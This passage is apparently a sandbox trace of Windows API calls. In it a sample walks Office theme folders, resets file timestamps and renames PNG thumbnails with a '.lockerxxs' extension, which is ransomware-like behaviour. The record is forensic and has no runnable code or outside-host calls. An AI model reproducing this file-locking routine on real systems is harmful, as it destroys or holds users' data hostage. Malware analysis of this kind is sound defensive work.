ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0058.973] lstrcmpA (lpString1=".", lpString2="BREEZE") returned -1 [0058.973] lstrcmpA (lpString1="..", lpString2="BREEZE") returned -1 [0058.973] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0058.978] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.978] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.978] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.978] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.978] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0058.978] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.980] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.980] CloseHandle (hObject=0x90) returned 1 [0058.980] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", lpString2="BREEZE.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" [0058.980] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", pszSpec="*.ems") returned 0 [0058.980] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0058.980] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.980] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.981] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.981] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.981] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.985] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.986] CloseHandle (hObject=0x90) returned 1 [0058.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.lockerxxs")) returned 1 [0058.988] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.988] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0058.989] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="CANYON", cAlternateFileName="")) returned 1 [0058.989] lstrcmpA (lpString1=".", lpString2="CANYON") returned -1 [0058.989] lstrcmpA (lpString1="..", lpString2="CANYON") returned -1 [0058.989] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0058.990] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.990] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.991] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.991] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.991] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0058.991] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.993] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.993] CloseHandle (hObject=0x90) returned 1 [0058.993] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", lpString2="CANYON.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" [0058.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", pszSpec="*.ems") returned 0 [0058.993] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0058.993] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.993] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.994] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.994] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.994] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.020] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.020] CloseHandle (hObject=0x90) returned 1 [0059.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.lockerxxs")) returned 1 [0059.023] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.023] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.023] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0059.023] lstrcmpA (lpString1=".", lpString2="CAPSULES") returned -1 [0059.024] lstrcmpA (lpString1="..", lpString2="CAPSULES") returned -1 [0059.024] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.025] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.025] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.025] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.025] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.025] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0059.025] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.029] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.029] CloseHandle (hObject=0x90) returned 1 [0059.030] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", lpString2="CAPSULES.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" [0059.030] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", pszSpec="*.ems") returned 0 [0059.030] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0059.030] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.030] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.030] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.030] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.030] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.034] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.034] CloseHandle (hObject=0x90) returned 1 [0059.034] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.lockerxxs")) returned 1 [0059.035] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.035] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0059.035] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0059.035] lstrcmpA (lpString1=".", lpString2="CASCADE") returned -1 [0059.035] lstrcmpA (lpString1="..", lpString2="CASCADE") returned -1 [0059.035] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.036] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.036] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.037] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.037] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.037] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0059.037] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.038] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.039] CloseHandle (hObject=0x90) returned 1 [0059.041] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\", lpString2="CASCADE.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" [0059.041] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", pszSpec="*.ems") returned 0 [0059.042] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x4f8510, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0059.042] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.042] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.042] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.042] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.042] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.045] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.045] CloseHandle (hObject=0x90) returned 1 [0059.045] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft 